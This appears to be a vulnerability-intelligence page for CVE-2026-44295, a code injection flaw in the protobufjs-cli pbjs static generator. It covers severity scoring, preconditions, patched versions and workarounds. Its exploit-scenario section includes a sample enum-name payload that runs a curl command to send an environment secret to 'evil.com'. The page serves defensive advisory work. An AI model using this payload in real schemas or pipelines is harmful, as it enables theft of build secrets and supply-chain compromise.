protobufjs-cli CVE-2026-44295
HIGHAttack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconGain authenticated access to schema source
-
DeliveryInject crafted proto/JSON with malicious identifiers
-
ExploitTrigger pbjs static code generation
-
InstallGenerated JS contains injected code
-
C2Build imports generated file
-
ExecuteMalicious code executes in build context
-
ImpactExfiltrate secrets or persist backdoor
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Code injection prevention, sandbox exec
MITRE ATT&CK
2 techniques across 2 tactics: Execution, Initial Access The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires three specific conditions to align: (1) The target must use protobufjs-cli's pbjs tool for static JavaScript code generation (not just runtime protobuf parsing), (2) The pbjs invocation must process schemas or JSON descriptors where an attacker controls or influences namespace names, enum identifiers, service names, or other schema naming elements - this occurs in build pipelines accepting external schema sources such as OpenAPI definitions, third-party proto file repositories, or user-uploaded schema files, (3) The generated JavaScript output must subsequently be executed or imported by the application, test suite, or build tooling. Exploitation is LIMITED by: required authenticated access (PR:L) to introduce malicious schemas into the build input, user interaction (UI:R) indicating a human must trigger the build/generation process, and the build-time rather than runtime nature meaning exploitation targets developer/CI environments not production application servers. Environments using only internally maintained, code-reviewed schemas in version control with no external schema inputs are not realistically exploitable despite the network attack vector designation. |
| Impact | The CVSS base score of 8.7 (High) reflects scope change (S:C) and dual high impacts (C:H/I:H), but real-world exploitability is constrained by multiple preconditions. The attack vector is network-based (AV:N) but requires authenticated access (PR:L) to influence schemas and user interaction (UI:R) to trigger code generation and execute the output. Low attack complexity (AC:L) indicates exploitation is straightforward once preconditions are met. The absence of CISA KEV listing and no identified public exploit code suggest this is not yet under widespread or automated exploitation. EPSS data not provided but the narrow attack surface (build-time tool dependency rather than runtime library) and specific preconditions likely result in low probability scores. Primary risk exists in CI/CD pipelines processing schemas from untrusted sources (external APIs, third-party repositories, user-uploaded definitions) where generated code auto-deploys without human review. Organizations using only internal, version-controlled schemas face minimal risk. The scope change indicates potential lateral movement if build environments have elevated privileges or access to production secrets. Critical assessment factor: this is a supply chain / build-time vulnerability, not a runtime exploit, requiring attacker influence over developer workflows rather than end-user systems. Prioritize remediation if your build process accepts external schema sources; deprioritize if all schemas are internally controlled and code-reviewed. |
| Exploit ScenarioDerived | An attacker with contributor access to a public API schema repository submits a pull request containing a Protocol Buffer definition with a maliciously crafted enum name like 'x=require("child_process").execSync("curl evil.com/exfil?data="+process.env.SECRET_KEY)//'. The victim organization's CI/CD pipeline automatically runs pbjs static code generation on merged schemas without sanitization. The generated JavaScript file contains the attacker's code embedded as a valid identifier. When the build process imports or executes this generated file during bundling or testing, the injected code executes with build environment privileges, exfiltrating secrets to the attacker's server. Public exploit code not identified at time of analysis, but exploitation mechanics are straightforward given the code injection nature. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – May 12, 2026
Code injection in protobufjs-cli's pbjs static generator allows attackers who control protocol buffer schemas to inject malicious JavaScript code into generated output files. The vulnerability affects npm packages protobufjs-cli versions ≤1.2.0 and 2.0.0-2.0.1, with patches released in versions 1.2.1 and 2.0.2. Exploitation requires low complexity with authenticated network access and user interaction (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C), achieving high confidentiality and integrity impact but no availability impact. No CISA KEV listing or public exploit code identified at time of analysis, though GitHub advisory confirms the vulnerability with released patches.
RemediationAI
Upgrade protobufjs-cli to patched versions immediately: version 1.2.1 or later for 7.x branch users, or version 2.0.2 or later for 8.x branch users. Patches released April 27, 2026 per GitHub release notes (https://github.com/protobufjs/protobuf.js/releases/tag/protobufjs-cli-v1.2.1 and https://github.com/protobufjs/protobuf.js/releases/tag/protobufjs-cli-v2.0.2). Update package.json dependencies and run npm install or equivalent package manager command. For organizations unable to immediately upgrade, implement the following compensating controls with noted trade-offs: (1) Restrict pbjs code generation to only trusted, version-controlled schema sources - trade-off is inability to process external or dynamic schemas; (2) Implement schema name validation regex before generation to block JavaScript reserved words and special characters in namespace/enum/service names - trade-off is maintenance overhead and potential false positives blocking legitimate schemas; (3) Execute pbjs in isolated sandboxed environments (containers, VMs) with no network access or sensitive credentials - trade-off is increased build complexity and performance overhead; (4) Implement mandatory code review of all generated JavaScript output before deployment - trade-off is significant manual effort and slower release cycles. Review GitHub advisory GHSA-6r35-46g8-jcw9 for additional vendor guidance. Audit existing generated code from untrusted schemas for malicious injections before deploying patches.
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in npm
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
This vulnerability affects the protobufjs-cli static code generation tool (pbjs command), part of the Protocol Buffers JavaScript implementation ecosystem. Protocol Buffers are Google's language-neutral, platform-neutral serialization mechanism requiring schema files (.proto) to define message structures. The pbjs tool compiles these schemas into static JavaScript modules for runtime efficiency. The root cause is CWE-94 (Improper Control of Generation of Code / Code Injection) where the static generator fails to sanitize schema-controlled identifiers including namespace names, enum values, service names, and derived full names before emitting them as JavaScript identifiers in generated output. An attacker crafting malicious schema definitions can inject arbitrary JavaScript tokens that bypass identifier validation, resulting in executable code within the generated .js files. This represents a supply chain risk in build pipelines where schema sources may be external repositories, API definitions, or user-provided inputs. The affected npm packages are pkg:npm/protobufjs-cli versions ≤1.2.0 (7.x branch) and 2.0.0-2.0.1 (8.x branch).
Know when the next one hits your stack
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
DescriptionNVD
Summary
pbjs static code generation could emit unsafe JavaScript identifiers derived from schema-controlled names. When generating static JavaScript from a crafted schema or JSON descriptor, certain namespace, enum, service, or derived full names could be written into the generated output without sufficient sanitization.
Impact
An attacker who can provide or influence schemas passed to pbjs may be able to cause generated JavaScript output to contain attacker-controlled code. The injected code would run if the generated file is later executed or imported by the application or build process.
This affects the protobufjs CLI static code generation path. Applications that only use trusted schemas, or that do not execute generated output from untrusted schemas, are not directly affected.
Preconditions
- The application or build process must run
pbjsstatic code generation on a schema or JSON descriptor influenced by an attacker. - The attacker-controlled input must contain crafted schema names that reach generated JavaScript output.
- The generated JavaScript file must subsequently be executed, imported, or otherwise evaluated.
Workarounds
Do not run affected versions of pbjs static code generation on untrusted schemas or descriptors. If untrusted schemas must be accepted, validate schema names before code generation and run generation in an isolated environment.
Executive ViewAI
CVE-2026-44295 is a code injection vulnerability in protobufjs-cli that allows attackers with schema control to inject malicious JavaScript into generated output files, potentially compromising application integrity and confidentiality across dependent systems. Organizations using protobufjs-cli versions 1.2.0 or earlier, and 2.0.0-2.0.1 must immediately update, as this vulnerability affects build pipelines and can propagate compromised code into production deployments.
Vendor-released patch: protobufjs-cli version 1.2.1 and 2.0.2. If immediate patching is not feasible, restrict schema modification permissions to trusted developers only, implement code review workflows for all .proto file changes, isolate build environments, and scan generated JavaScript files for suspicious code patterns before deployment.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
GHSA-6r35-46g8-jcw9
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB